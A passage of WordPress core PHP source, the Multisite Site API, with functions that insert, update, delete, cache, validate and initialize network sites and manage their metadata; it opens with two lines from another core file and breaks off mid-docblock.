add_filter( 'rest_pre_insert_wp_template_part', 'inject_ignored_hooked_blocks_metadata_attributes' );

unset( $filter, $action );
<?php
/**
 * Site API
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 5.1.0
 */

/**
 * Inserts a new site into the database.
 *
 * @since 5.1.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param array $data {
 *     Data for the new site that should be inserted.
 *
 *     @type string $domain       Site domain. Default empty string.
 *     @type string $path         Site path. Default '/'.
 *     @type int    $network_id   The site's network ID. Default is the current network ID.
 *     @type string $registered   When the site was registered, in SQL datetime format. Default is
 *                                the current time.
 *     @type string $last_updated When the site was last updated, in SQL datetime format. Default is
 *                                the value of $registered.
 *     @type int    $public       Whether the site is public. Default 1.
 *     @type int    $archived     Whether the site is archived. Default 0.
 *     @type int    $mature       Whether the site is mature. Default 0.
 *     @type int    $spam         Whether the site is spam. Default 0.
 *     @type int    $deleted      Whether the site is deleted. Default 0.
 *     @type int    $lang_id      The site's language ID. Currently unused. Default 0.
 *     @type int    $user_id      User ID for the site administrator. Passed to the
 *                                `wp_initialize_site` hook.
 *     @type string $title        Site title. Default is 'Site %d' where %d is the site ID. Passed
 *                                to the `wp_initialize_site` hook.
 *     @type array  $options      Custom option $key => $value pairs to use. Default empty array. Passed
 *                                to the `wp_initialize_site` hook.
 *     @type array  $meta         Custom site metadata $key => $value pairs to use. Default empty array.
 *                                Passed to the `wp_initialize_site` hook.
 * }
 * @return int|WP_Error The new site's ID on success, or error object on failure.
 */
function wp_insert_site( array $data ) {
	global $wpdb;

	$now = current_time( 'mysql', true );

	$defaults = array(
		'domain'       => '',
		'path'         => '/',
		'network_id'   => get_current_network_id(),
		'registered'   => $now,
		'last_updated' => $now,
		'public'       => 1,
		'archived'     => 0,
		'mature'       => 0,
		'spam'         => 0,
		'deleted'      => 0,
		'lang_id'      => 0,
	);

	$prepared_data = wp_prepare_site_data( $data, $defaults );
	if ( is_wp_error( $prepared_data ) ) {
		return $prepared_data;
	}

	if ( false === $wpdb->insert( $wpdb->blogs, $prepared_data ) ) {
		return new WP_Error( 'db_insert_error', __( 'Could not insert site into the database.' ), $wpdb->last_error );
	}

	$site_id = (int) $wpdb->insert_id;

	clean_blog_cache( $site_id );

	$new_site = get_site( $site_id );

	if ( ! $new_site ) {
		return new WP_Error( 'get_site_error', __( 'Could not retrieve site data.' ) );
	}

	/**
	 * Fires once a site has been inserted into the database.
	 *
	 * @since 5.1.0
	 *
	 * @param WP_Site $new_site New site object.
	 */
	do_action( 'wp_insert_site', $new_site );

	// Extract the passed arguments that may be relevant for site initialization.
	$args = array_diff_key( $data, $defaults );
	if ( isset( $args['site_id'] ) ) {
		unset( $args['site_id'] );
	}

	/**
	 * Fires when a site's initialization routine should be executed.
	 *
	 * @since 5.1.0
	 *
	 * @param WP_Site $new_site New site object.
	 * @param array   $args     Arguments for the initialization.
	 */
	do_action( 'wp_initialize_site', $new_site, $args );

	// Only compute extra hook parameters if the deprecated hook is actually in use.
	if ( has_action( 'wpmu_new_blog' ) ) {
		$user_id = ! empty( $args['user_id'] ) ? $args['user_id'] : 0;
		$meta    = ! empty( $args['options'] ) ? $args['options'] : array();

		// WPLANG was passed with `$meta` to the `wpmu_new_blog` hook prior to 5.1.0.
		if ( ! array_key_exists( 'WPLANG', $meta ) ) {
			$meta['WPLANG'] = get_network_option( $new_site->network_id, 'WPLANG' );
		}

		/*
		 * Rebuild the data expected by the `wpmu_new_blog` hook prior to 5.1.0 using allowed keys.
		 * The `$allowed_data_fields` matches the one used in `wpmu_create_blog()`.
		 */
		$allowed_data_fields = array( 'public', 'archived', 'mature', 'spam', 'deleted', 'lang_id' );
		$meta                = array_merge( array_intersect_key( $data, array_flip( $allowed_data_fields ) ), $meta );

		/**
		 * Fires immediately after a new site is created.
		 *
		 * @since MU (3.0.0)
		 * @deprecated 5.1.0 Use {@see 'wp_initialize_site'} instead.
		 *
		 * @param int    $site_id    Site ID.
		 * @param int    $user_id    User ID.
		 * @param string $domain     Site domain.
		 * @param string $path       Site path.
		 * @param int    $network_id Network ID. Only relevant on multi-network installations.
		 * @param array  $meta       Meta data. Used to set initial site options.
		 */
		do_action_deprecated(
			'wpmu_new_blog',
			array( $new_site->id, $user_id, $new_site->domain, $new_site->path, $new_site->network_id, $meta ),
			'5.1.0',
			'wp_initialize_site'
		);
	}

	return (int) $new_site->id;
}

/**
 * Updates a site in the database.
 *
 * @since 5.1.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int   $site_id ID of the site that should be updated.
 * @param array $data    Site data to update. See {@see wp_insert_site()} for the list of supported keys.
 * @return int|WP_Error The updated site's ID on success, or error object on failure.
 */
function wp_update_site( $site_id, array $data ) {
	global $wpdb;

	if ( empty( $site_id ) ) {
		return new WP_Error( 'site_empty_id', __( 'Site ID must not be empty.' ) );
	}

	$old_site = get_site( $site_id );
	if ( ! $old_site ) {
		return new WP_Error( 'site_not_exist', __( 'Site does not exist.' ) );
	}

	$defaults                 = $old_site->to_array();
	$defaults['network_id']   = (int) $defaults['site_id'];
	$defaults['last_updated'] = current_time( 'mysql', true );
	unset( $defaults['blog_id'], $defaults['site_id'] );

	$data = wp_prepare_site_data( $data, $defaults, $old_site );
	if ( is_wp_error( $data ) ) {
		return $data;
	}

	if ( false === $wpdb->update( $wpdb->blogs, $data, array( 'blog_id' => $old_site->id ) ) ) {
		return new WP_Error( 'db_update_error', __( 'Could not update site in the database.' ), $wpdb->last_error );
	}

	clean_blog_cache( $old_site );

	$new_site = get_site( $old_site->id );

	/**
	 * Fires once a site has been updated in the database.
	 *
	 * @since 5.1.0
	 *
	 * @param WP_Site $new_site New site object.
	 * @param WP_Site $old_site Old site object.
	 */
	do_action( 'wp_update_site', $new_site, $old_site );

	return (int) $new_site->id;
}

/**
 * Deletes a site from the database.
 *
 * @since 5.1.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int $site_id ID of the site that should be deleted.
 * @return WP_Site|WP_Error The deleted site object on success, or error object on failure.
 */
function wp_delete_site( $site_id ) {
	global $wpdb;

	if ( empty( $site_id ) ) {
		return new WP_Error( 'site_empty_id', __( 'Site ID must not be empty.' ) );
	}

	$old_site = get_site( $site_id );
	if ( ! $old_site ) {
		return new WP_Error( 'site_not_exist', __( 'Site does not exist.' ) );
	}

	$errors = new WP_Error();

	/**
	 * Fires before a site should be deleted from the database.
	 *
	 * Plugins should amend the `$errors` object via its `WP_Error::add()` method. If any errors
	 * are present, the site will not be deleted.
	 *
	 * @since 5.1.0
	 *
	 * @param WP_Error $errors   Error object to add validation errors to.
	 * @param WP_Site  $old_site The site object to be deleted.
	 */
	do_action( 'wp_validate_site_deletion', $errors, $old_site );

	if ( ! empty( $errors->errors ) ) {
		return $errors;
	}

	/**
	 * Fires before a site is deleted.
	 *
	 * @since MU (3.0.0)
	 * @deprecated 5.1.0
	 *
	 * @param int  $site_id The site ID.
	 * @param bool $drop    True if site's table should be dropped. Default false.
	 */
	do_action_deprecated( 'delete_blog', array( $old_site->id, true ), '5.1.0' );

	/**
	 * Fires when a site's uninitialization routine should be executed.
	 *
	 * @since 5.1.0
	 *
	 * @param WP_Site $old_site Deleted site object.
	 */
	do_action( 'wp_uninitialize_site', $old_site );

	if ( is_site_meta_supported() ) {
		$blog_meta_ids = $wpdb->get_col( $wpdb->prepare( "SELECT meta_id FROM $wpdb->blogmeta WHERE blog_id = %d ", $old_site->id ) );
		foreach ( $blog_meta_ids as $mid ) {
			delete_metadata_by_mid( 'blog', $mid );
		}
	}

	if ( false === $wpdb->delete( $wpdb->blogs, array( 'blog_id' => $old_site->id ) ) ) {
		return new WP_Error( 'db_delete_error', __( 'Could not delete site from the database.' ), $wpdb->last_error );
	}

	clean_blog_cache( $old_site );

	/**
	 * Fires once a site has been deleted from the database.
	 *
	 * @since 5.1.0
	 *
	 * @param WP_Site $old_site Deleted site object.
	 */
	do_action( 'wp_delete_site', $old_site );

	/**
	 * Fires after the site is deleted from the network.
	 *
	 * @since 4.8.0
	 * @deprecated 5.1.0
	 *
	 * @param int  $site_id The site ID.
	 * @param bool $drop    True if site's tables should be dropped. Default false.
	 */
	do_action_deprecated( 'deleted_blog', array( $old_site->id, true ), '5.1.0' );

	return $old_site;
}

/**
 * Retrieves site data given a site ID or site object.
 *
 * Site data will be cached and returned after being passed through a filter.
 * If the provided site is empty, the current site global will be used.
 *
 * @since 4.6.0
 *
 * @param WP_Site|int|null $site Optional. Site to retrieve. Default is the current site.
 * @return WP_Site|null The site object or null if not found.
 */
function get_site( $site = null ) {
	if ( empty( $site ) ) {
		$site = get_current_blog_id();
	}

	if ( $site instanceof WP_Site ) {
		$_site = $site;
	} elseif ( is_object( $site ) ) {
		$_site = new WP_Site( $site );
	} else {
		$_site = WP_Site::get_instance( $site );
	}

	if ( ! $_site ) {
		return null;
	}

	/**
	 * Fires after a site is retrieved.
	 *
	 * @since 4.6.0
	 *
	 * @param WP_Site $_site Site data.
	 */
	$_site = apply_filters( 'get_site', $_site );

	return $_site;
}

/**
 * Adds any sites from the given IDs to the cache that do not already exist in cache.
 *
 * @since 4.6.0
 * @since 5.1.0 Introduced the `$update_meta_cache` parameter.
 * @since 6.1.0 This function is no longer marked as "private".
 * @since 6.3.0 Use wp_lazyload_site_meta() for lazy-loading of site meta.
 *
 * @see update_site_cache()
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param array $ids               ID list.
 * @param bool  $update_meta_cache Optional. Whether to update the meta cache. Default true.
 */
function _prime_site_caches( $ids, $update_meta_cache = true ) {
	global $wpdb;

	$non_cached_ids = _get_non_cached_ids( $ids, 'sites' );
	if ( ! empty( $non_cached_ids ) ) {
		$fresh_sites = $wpdb->get_results( sprintf( "SELECT * FROM $wpdb->blogs WHERE blog_id IN (%s)", implode( ',', array_map( 'intval', $non_cached_ids ) ) ) ); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared

		update_site_cache( $fresh_sites, false );
	}

	if ( $update_meta_cache ) {
		wp_lazyload_site_meta( $ids );
	}
}

/**
 * Queue site meta for lazy-loading.
 *
 * @since 6.3.0
 *
 * @param array $site_ids List of site IDs.
 */
function wp_lazyload_site_meta( array $site_ids ) {
	if ( empty( $site_ids ) ) {
		return;
	}
	$lazyloader = wp_metadata_lazyloader();
	$lazyloader->queue_objects( 'blog', $site_ids );
}

/**
 * Updates sites in cache.
 *
 * @since 4.6.0
 * @since 5.1.0 Introduced the `$update_meta_cache` parameter.
 *
 * @param array $sites             Array of site objects.
 * @param bool  $update_meta_cache Whether to update site meta cache. Default true.
 */
function update_site_cache( $sites, $update_meta_cache = true ) {
	if ( ! $sites ) {
		return;
	}
	$site_ids          = array();
	$site_data         = array();
	$blog_details_data = array();
	foreach ( $sites as $site ) {
		$site_ids[]                                    = $site->blog_id;
		$site_data[ $site->blog_id ]                   = $site;
		$blog_details_data[ $site->blog_id . 'short' ] = $site;

	}
	wp_cache_add_multiple( $site_data, 'sites' );
	wp_cache_add_multiple( $blog_details_data, 'blog-details' );

	if ( $update_meta_cache ) {
		update_sitemeta_cache( $site_ids );
	}
}

/**
 * Updates metadata cache for list of site IDs.
 *
 * Performs SQL query to retrieve all metadata for the sites matching `$site_ids` and stores them in the cache.
 * Subsequent calls to `get_site_meta()` will not need to query the database.
 *
 * @since 5.1.0
 *
 * @param array $site_ids List of site IDs.
 * @return array|false An array of metadata on success, false if there is nothing to update.
 */
function update_sitemeta_cache( $site_ids ) {
	// Ensure this filter is hooked in even if the function is called early.
	if ( ! has_filter( 'update_blog_metadata_cache', 'wp_check_site_meta_support_prefilter' ) ) {
		add_filter( 'update_blog_metadata_cache', 'wp_check_site_meta_support_prefilter' );
	}
	return update_meta_cache( 'blog', $site_ids );
}

/**
 * Retrieves a list of sites matching requested arguments.
 *
 * @since 4.6.0
 * @since 4.8.0 Introduced the 'lang_id', 'lang__in', and 'lang__not_in' parameters.
 *
 * @see WP_Site_Query::parse_query()
 *
 * @param string|array $args Optional. Array or string of arguments. See WP_Site_Query::__construct()
 *                           for information on accepted arguments. Default empty array.
 * @return array|int List of WP_Site objects, a list of site IDs when 'fields' is set to 'ids',
 *                   or the number of sites when 'count' is passed as a query var.
 */
function get_sites( $args = array() ) {
	$query = new WP_Site_Query();

	return $query->query( $args );
}

/**
 * Prepares site data for insertion or update in the database.
 *
 * @since 5.1.0
 *
 * @param array        $data     Associative array of site data passed to the respective function.
 *                               See {@see wp_insert_site()} for the possibly included data.
 * @param array        $defaults Site data defaults to parse $data against.
 * @param WP_Site|null $old_site Optional. Old site object if an update, or null if an insertion.
 *                               Default null.
 * @return array|WP_Error Site data ready for a database transaction, or WP_Error in case a validation
 *                        error occurred.
 */
function wp_prepare_site_data( $data, $defaults, $old_site = null ) {

	// Maintain backward-compatibility with `$site_id` as network ID.
	if ( isset( $data['site_id'] ) ) {
		if ( ! empty( $data['site_id'] ) && empty( $data['network_id'] ) ) {
			$data['network_id'] = $data['site_id'];
		}
		unset( $data['site_id'] );
	}

	/**
	 * Filters passed site data in order to normalize it.
	 *
	 * @since 5.1.0
	 *
	 * @param array $data Associative array of site data passed to the respective function.
	 *                    See {@see wp_insert_site()} for the possibly included data.
	 */
	$data = apply_filters( 'wp_normalize_site_data', $data );

	$allowed_data_fields = array( 'domain', 'path', 'network_id', 'registered', 'last_updated', 'public', 'archived', 'mature', 'spam', 'deleted', 'lang_id' );
	$data                = array_intersect_key( wp_parse_args( $data, $defaults ), array_flip( $allowed_data_fields ) );

	$errors = new WP_Error();

	/**
	 * Fires when data should be validated for a site prior to inserting or updating in the database.
	 *
	 * Plugins should amend the `$errors` object via its `WP_Error::add()` method.
	 *
	 * @since 5.1.0
	 *
	 * @param WP_Error     $errors   Error object to add validation errors to.
	 * @param array        $data     Associative array of complete site data. See {@see wp_insert_site()}
	 *                               for the included data.
	 * @param WP_Site|null $old_site The old site object if the data belongs to a site being updated,
	 *                               or null if it is a new site being inserted.
	 */
	do_action( 'wp_validate_site_data', $errors, $data, $old_site );

	if ( ! empty( $errors->errors ) ) {
		return $errors;
	}

	// Prepare for database.
	$data['site_id'] = $data['network_id'];
	unset( $data['network_id'] );

	return $data;
}

/**
 * Normalizes data for a site prior to inserting or updating in the database.
 *
 * @since 5.1.0
 *
 * @param array $data Associative array of site data passed to the respective function.
 *                    See {@see wp_insert_site()} for the possibly included data.
 * @return array Normalized site data.
 */
function wp_normalize_site_data( $data ) {
	// Sanitize domain if passed.
	if ( array_key_exists( 'domain', $data ) ) {
		$data['domain'] = trim( $data['domain'] );
		$data['domain'] = preg_replace( '/\s+/', '', sanitize_user( $data['domain'], true ) );
		if ( is_subdomain_install() ) {
			$data['domain'] = str_replace( '@', '', $data['domain'] );
		}
	}

	// Sanitize path if passed.
	if ( array_key_exists( 'path', $data ) ) {
		$data['path'] = trailingslashit( '/' . trim( $data['path'], '/' ) );
	}

	// Sanitize network ID if passed.
	if ( array_key_exists( 'network_id', $data ) ) {
		$data['network_id'] = (int) $data['network_id'];
	}

	// Sanitize status fields if passed.
	$status_fields = array( 'public', 'archived', 'mature', 'spam', 'deleted' );
	foreach ( $status_fields as $status_field ) {
		if ( array_key_exists( $status_field, $data ) ) {
			$data[ $status_field ] = (int) $data[ $status_field ];
		}
	}

	// Strip date fields if empty.
	$date_fields = array( 'registered', 'last_updated' );
	foreach ( $date_fields as $date_field ) {
		if ( ! array_key_exists( $date_field, $data ) ) {
			continue;
		}

		if ( empty( $data[ $date_field ] ) || '0000-00-00 00:00:00' === $data[ $date_field ] ) {
			unset( $data[ $date_field ] );
		}
	}

	return $data;
}

/**
 * Validates data for a site prior to inserting or updating in the database.
 *
 * @since 5.1.0
 *
 * @param WP_Error     $errors   Error object, passed by reference. Will contain validation errors if
 *                               any occurred.
 * @param array        $data     Associative array of complete site data. See {@see wp_insert_site()}
 *                               for the included data.
 * @param WP_Site|null $old_site The old site object if the data belongs to a site being updated,
 *                               or null if it is a new site being inserted.
 */
function wp_validate_site_data( $errors, $data, $old_site = null ) {
	// A domain must always be present.
	if ( empty( $data['domain'] ) ) {
		$errors->add( 'site_empty_domain', __( 'Site domain must not be empty.' ) );
	}

	// A path must always be present.
	if ( empty( $data['path'] ) ) {
		$errors->add( 'site_empty_path', __( 'Site path must not be empty.' ) );
	}

	// A network ID must always be present.
	if ( empty( $data['network_id'] ) ) {
		$errors->add( 'site_empty_network_id', __( 'Site network ID must be provided.' ) );
	}

	// Both registration and last updated dates must always be present and valid.
	$date_fields = array( 'registered', 'last_updated' );
	foreach ( $date_fields as $date_field ) {
		if ( empty( $data[ $date_field ] ) ) {
			$errors->add( 'site_empty_' . $date_field, __( 'Both registration and last updated dates must be provided.' ) );
			break;
		}

		// Allow '0000-00-00 00:00:00', although it be stripped out at this point.
		if ( '0000-00-00 00:00:00' !== $data[ $date_field ] ) {
			$month      = substr( $data[ $date_field ], 5, 2 );
			$day        = substr( $data[ $date_field ], 8, 2 );
			$year       = substr( $data[ $date_field ], 0, 4 );
			$valid_date = wp_checkdate( $month, $day, $year, $data[ $date_field ] );
			if ( ! $valid_date ) {
				$errors->add( 'site_invalid_' . $date_field, __( 'Both registration and last updated dates must be valid dates.' ) );
				break;
			}
		}
	}

	if ( ! empty( $errors->errors ) ) {
		return;
	}

	// If a new site, or domain/path/network ID have changed, ensure uniqueness.
	if ( ! $old_site
		|| $data['domain'] !== $old_site->domain
		|| $data['path'] !== $old_site->path
		|| $data['network_id'] !== $old_site->network_id
	) {
		if ( domain_exists( $data['domain'], $data['path'], $data['network_id'] ) ) {
			$errors->add( 'site_taken', __( 'Sorry, that site already exists!' ) );
		}
	}
}

/**
 * Runs the initialization routine for a given site.
 *
 * This process includes creating the site's database tables and
 * populating them with defaults.
 *
 * @since 5.1.0
 *
 * @global wpdb     $wpdb     WordPress database abstraction object.
 * @global WP_Roles $wp_roles WordPress role management object.
 *
 * @param int|WP_Site $site_id Site ID or object.
 * @param array       $args    {
 *     Optional. Arguments to modify the initialization behavior.
 *
 *     @type int    $user_id Required. User ID for the site administrator.
 *     @type string $title   Site title. Default is 'Site %d' where %d is the
 *                           site ID.
 *     @type array  $options Custom option $key => $value pairs to use. Default
 *                           empty array.
 *     @type array  $meta    Custom site metadata $key => $value pairs to use.
 *                           Default empty array.
 * }
 * @return true|WP_Error True on success, or error object on failure.
 */
function wp_initialize_site( $site_id, array $args = array() ) {
	global $wpdb, $wp_roles;

	if ( empty( $site_id ) ) {
		return new WP_Error( 'site_empty_id', __( 'Site ID must not be empty.' ) );
	}

	$site = get_site( $site_id );
	if ( ! $site ) {
		return new WP_Error( 'site_invalid_id', __( 'Site with the ID does not exist.' ) );
	}

	if ( wp_is_site_initialized( $site ) ) {
		return new WP_Error( 'site_already_initialized', __( 'The site appears to be already initialized.' ) );
	}

	$network = get_network( $site->network_id );
	if ( ! $network ) {
		$network = get_network();
	}

	$args = wp_parse_args(
		$args,
		array(
			'user_id' => 0,
			/* translators: %d: Site ID. */
			'title'   => sprintf( __( 'Site %d' ), $site->id ),
			'options' => array(),
			'meta'    => array(),
		)
	);

	/**
	 * Filters the arguments for initializing a site.
	 *
	 * @since 5.1.0
	 *
	 * @param array      $args    Arguments to modify the initialization behavior.
	 * @param WP_Site    $site    Site that is being initialized.
	 * @param WP_Network $network Network that the site belongs to.
	 */
	$args = apply_filters( 'wp_initialize_site_args', $args, $site, $network );

	$orig_installing = wp_installing();
	if ( ! $orig_installing ) {
		wp_installing( true );
	}

	$switch = false;
	if ( get_current_blog_id() !== $site->id ) {
		$switch = true;
		switch_to_blog( $site->id );
	}

	require_once ABSPATH . 'wp-admin/includes/upgrade.php';

	// Set up the database tables.
	make_db_current_silent( 'blog' );

	$home_scheme    = 'http';
	$siteurl_scheme = 'http';
	if ( ! is_subdomain_install() ) {
		if ( 'https' === parse_url( get_home_url( $network->site_id ), PHP_URL_SCHEME ) ) {
			$home_scheme = 'https';
		}
		if ( 'https' === parse_url( get_network_option( $network->id, 'siteurl' ), PHP_URL_SCHEME ) ) {
			$siteurl_scheme = 'https';
		}
	}

	// Populate the site's options.
	populate_options(
		array_merge(
			array(
				'home'        => untrailingslashit( $home_scheme . '://' . $site->domain . $site->path ),
				'siteurl'     => untrailingslashit( $siteurl_scheme . '://' . $site->domain . $site->path ),
				'blogname'    => wp_unslash( $args['title'] ),
				'admin_email' => '',
				'upload_path' => get_network_option( $network->id, 'ms_files_rewriting' ) ? UPLOADBLOGSDIR . "/{$site->id}/files" : get_blog_option( $network->site_id, 'upload_path' ),
				'blog_public' => (int) $site->public,
				'WPLANG'      => get_network_option( $network->id, 'WPLANG' ),
			),
			$args['options']
		)
	);

	// Clean blog cache after populating options.
	clean_blog_cache( $site );

	// Populate the site's roles.
	populate_roles();
	$wp_roles = new WP_Roles();

	// Populate metadata for the site.
	populate_site_meta( $site->id, $args['meta'] );

	// Remove all permissions that may exist for the site.
	$table_prefix = $wpdb->get_blog_prefix();
	delete_metadata( 'user', 0, $table_prefix . 'user_level', null, true );   // Delete all.
	delete_metadata( 'user', 0, $table_prefix . 'capabilities', null, true ); // Delete all.

	// Install default site content.
	wp_install_defaults( $args['user_id'] );

	// Set the site administrator.
	add_user_to_blog( $site->id, $args['user_id'], 'administrator' );
	if ( ! user_can( $args['user_id'], 'manage_network' ) && ! get_user_meta( $args['user_id'], 'primary_blog', true ) ) {
		update_user_meta( $args['user_id'], 'primary_blog', $site->id );
	}

	if ( $switch ) {
		restore_current_blog();
	}

	wp_installing( $orig_installing );

	return true;
}

/**
 * Runs the uninitialization routine for a given site.
 *
 * This process includes dropping the site's database tables and deleting its uploads directory.
 *
 * @since 5.1.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int|WP_Site $site_id Site ID or object.
 * @return true|WP_Error True on success, or error object on failure.
 */
function wp_uninitialize_site( $site_id ) {
	global $wpdb;

	if ( empty( $site_id ) ) {
		return new WP_Error( 'site_empty_id', __( 'Site ID must not be empty.' ) );
	}

	$site = get_site( $site_id );
	if ( ! $site ) {
		return new WP_Error( 'site_invalid_id', __( 'Site with the ID does not exist.' ) );
	}

	if ( ! wp_is_site_initialized( $site ) ) {
		return new WP_Error( 'site_already_uninitialized', __( 'The site appears to be already uninitialized.' ) );
	}

	$users = get_users(
		array(
			'blog_id' => $site->id,
			'fields'  => 'ids',
		)
	);

	// Remove users from the site.
	if ( ! empty( $users ) ) {
		foreach ( $users as $user_id ) {
			remove_user_from_blog( $user_id, $site->id );
		}
	}

	$switch = false;
	if ( get_current_blog_id() !== $site->id ) {
		$switch = true;
		switch_to_blog( $site->id );
	}

	$uploads = wp_get_upload_dir();

	$tables = $wpdb->tables( 'blog' );

	/**
	 * Filters the tables to drop when the site is deleted.
	 *
	 * @since MU (3.0.0)
	 *
	 * @param string[] $tables  Array of names of the site tables to be dropped.
	 * @param int      $site_id The ID of the site to drop tables for.
	 */
	$drop_tables = apply_filters( 'wpmu_drop_tables', $tables, $site->id );

	foreach ( (array) $drop_tables as $table ) {
		$wpdb->query( "DROP TABLE IF EXISTS `$table`" ); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared
	}

	/**
	 * Filters the upload base directory to delete when the site is deleted.
	 *
	 * @since MU (3.0.0)
	 *
	 * @param string $basedir Uploads path without subdirectory. See {@see wp_upload_dir()}.
	 * @param int    $site_id The site ID.
	 */
	$dir     = apply_filters( 'wpmu_delete_blog_upload_dir', $uploads['basedir'], $site->id );
	$dir     = rtrim( $dir, DIRECTORY_SEPARATOR );
	$top_dir = $dir;
	$stack   = array( $dir );
	$index   = 0;

	while ( $index < count( $stack ) ) {
		// Get indexed directory from stack.
		$dir = $stack[ $index ];

		// phpcs:disable WordPress.PHP.NoSilencedErrors.Discouraged
		$dh = @opendir( $dir );
		if ( $dh ) {
			$file = @readdir( $dh );
			while ( false !== $file ) {
				if ( '.' === $file || '..' === $file ) {
					$file = @readdir( $dh );
					continue;
				}

				if ( @is_dir( $dir . DIRECTORY_SEPARATOR . $file ) ) {
					$stack[] = $dir . DIRECTORY_SEPARATOR . $file;
				} elseif ( @is_file( $dir . DIRECTORY_SEPARATOR . $file ) ) {
					@unlink( $dir . DIRECTORY_SEPARATOR . $file );
				}

				$file = @readdir( $dh );
			}
			@closedir( $dh );
		}
		++$index;
	}

	$stack = array_reverse( $stack ); // Last added directories are deepest.
	foreach ( (array) $stack as $dir ) {
		if ( $dir !== $top_dir ) {
			@rmdir( $dir );
		}
	}

	// phpcs:enable WordPress.PHP.NoSilencedErrors.Discouraged
	if ( $switch ) {
		restore_current_blog();
	}

	return true;
}

/**
 * Checks whether a site is initialized.
 *
 * A site is considered initialized when its database tables are present.
 *
 * @since 5.1.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int|WP_Site $site_id Site ID or object.
 * @return bool True if the site is initialized, false otherwise.
 */
function wp_is_site_initialized( $site_id ) {
	global $wpdb;

	if ( is_object( $site_id ) ) {
		$site_id = $site_id->blog_id;
	}
	$site_id = (int) $site_id;

	/**
	 * Filters the check for whether a site is initialized before the database is accessed.
	 *
	 * Returning a non-null value will effectively short-circuit the function, returning
	 * that value instead.
	 *
	 * @since 5.1.0
	 *
	 * @param bool|null $pre     The value to return instead. Default null
	 *                           to continue with the check.
	 * @param int       $site_id The site ID that is being checked.
	 */
	$pre = apply_filters( 'pre_wp_is_site_initialized', null, $site_id );
	if ( null !== $pre ) {
		return (bool) $pre;
	}

	$switch = false;
	if ( get_current_blog_id() !== $site_id ) {
		$switch = true;
		remove_action( 'switch_blog', 'wp_switch_roles_and_user', 1 );
		switch_to_blog( $site_id );
	}

	$suppress = $wpdb->suppress_errors();
	$result   = (bool) $wpdb->get_results( "DESCRIBE {$wpdb->posts}" );
	$wpdb->suppress_errors( $suppress );

	if ( $switch ) {
		restore_current_blog();
		add_action( 'switch_blog', 'wp_switch_roles_and_user', 1, 2 );
	}

	return $result;
}

/**
 * Clean the blog cache
 *
 * @since 3.5.0
 *
 * @global bool $_wp_suspend_cache_invalidation
 *
 * @param WP_Site|int $blog The site object or ID to be cleared from cache.
 */
function clean_blog_cache( $blog ) {
	global $_wp_suspend_cache_invalidation;

	if ( ! empty( $_wp_suspend_cache_invalidation ) ) {
		return;
	}

	if ( empty( $blog ) ) {
		return;
	}

	$blog_id = $blog;
	$blog    = get_site( $blog_id );
	if ( ! $blog ) {
		if ( ! is_numeric( $blog_id ) ) {
			return;
		}

		// Make sure a WP_Site object exists even when the site has been deleted.
		$blog = new WP_Site(
			(object) array(
				'blog_id' => $blog_id,
				'domain'  => null,
				'path'    => null,
			)
		);
	}

	$blog_id         = $blog->blog_id;
	$domain_path_key = md5( $blog->domain . $blog->path );

	wp_cache_delete( $blog_id, 'sites' );
	wp_cache_delete( $blog_id, 'site-details' );
	wp_cache_delete( $blog_id, 'blog-details' );
	wp_cache_delete( $blog_id . 'short', 'blog-details' );
	wp_cache_delete( $domain_path_key, 'blog-lookup' );
	wp_cache_delete( $domain_path_key, 'blog-id-cache' );
	wp_cache_delete( $blog_id, 'blog_meta' );

	/**
	 * Fires immediately after a site has been removed from the object cache.
	 *
	 * @since 4.6.0
	 *
	 * @param string  $id              Site ID as a numeric string.
	 * @param WP_Site $blog            Site object.
	 * @param string  $domain_path_key md5 hash of domain and path.
	 */
	do_action( 'clean_site_cache', $blog_id, $blog, $domain_path_key );

	wp_cache_set_sites_last_changed();

	/**
	 * Fires after the blog details cache is cleared.
	 *
	 * @since 3.4.0
	 * @deprecated 4.9.0 Use {@see 'clean_site_cache'} instead.
	 *
	 * @param int $blog_id Blog ID.
	 */
	do_action_deprecated( 'refresh_blog_details', array( $blog_id ), '4.9.0', 'clean_site_cache' );
}

/**
 * Adds metadata to a site.
 *
 * @since 5.1.0
 *
 * @param int    $site_id    Site ID.
 * @param string $meta_key   Metadata name.
 * @param mixed  $meta_value Metadata value. Must be serializable if non-scalar.
 * @param bool   $unique     Optional. Whether the same key should not be added.
 *                           Default false.
 * @return int|false Meta ID on success, false on failure.
 */
function add_site_meta( $site_id, $meta_key, $meta_value, $unique = false ) {
	return add_metadata( 'blog', $site_id, $meta_key, $meta_value, $unique );
}

/**
 * Removes metadata matching criteria from a site.
 *
 * You can match based on the key, or key and value. Removing based on key and
 * value, will keep from removing duplicate metadata with the same key. It also
 * allows removing all metadata matching key, if needed.
 *
 * @since 5.1.0
 *
 * @param int    $site_id    Site ID.
 * @param string $meta_key   Metadata name.
 * @param mixed  $meta_value Optional. Metadata value. If provided,
 *                           rows will only be removed that match the value.
 *                           Must be serializable if non-scalar. Default empty.
 * @return bool True on success, false on failure.
 */
function delete_site_meta( $site_id, $meta_key, $meta_value = '' ) {
	return delete_metadata( 'blog', $site_id, $meta_key, $meta_value );
}

/**
 * Retrieves metadata for a site.
 *
 * @since 5.1.0
 *
 * @param int    $site_id Site ID.
 * @param string $key     Optional. The meta key to retrieve. By default,
 *                        returns data for all keys. Default empty.
 * @param bool   $single  Optional. Whether to return a single value.
 *                        This parameter has no effect if `$key` is not specified.
 *                        Default false.
 * @return mixed An array of values if `$single` is false.
 *               The value of meta data field if `$single` is true.
 *               False for an invalid `$site_id` (non-numeric, zero, or negative value).
 *               An empty string if a valid but non-existing site ID is passed.
 */
function get_site_meta( $site_id, $key = '', $single = false ) {
	return get_metadata( 'blog', $site_id, $key, $single );
}

/**
 * Updates metadata for a site.
 *
 * Use the $prev_value parameter to differentiate between meta fields with the
 * same key and site ID.
 *
 * If the meta field for the site does not exist, it will be added.
 *
 * @since 5.1.0
 *
 * @param int    $site_id    Site ID.
 * @param string $meta_key   Metadata key.
 * @param mixed  $meta_value Metadata value. Must be serializable if non-scalar.
 * @param mixed  $prev_value Optional. Previous value to check before updating.
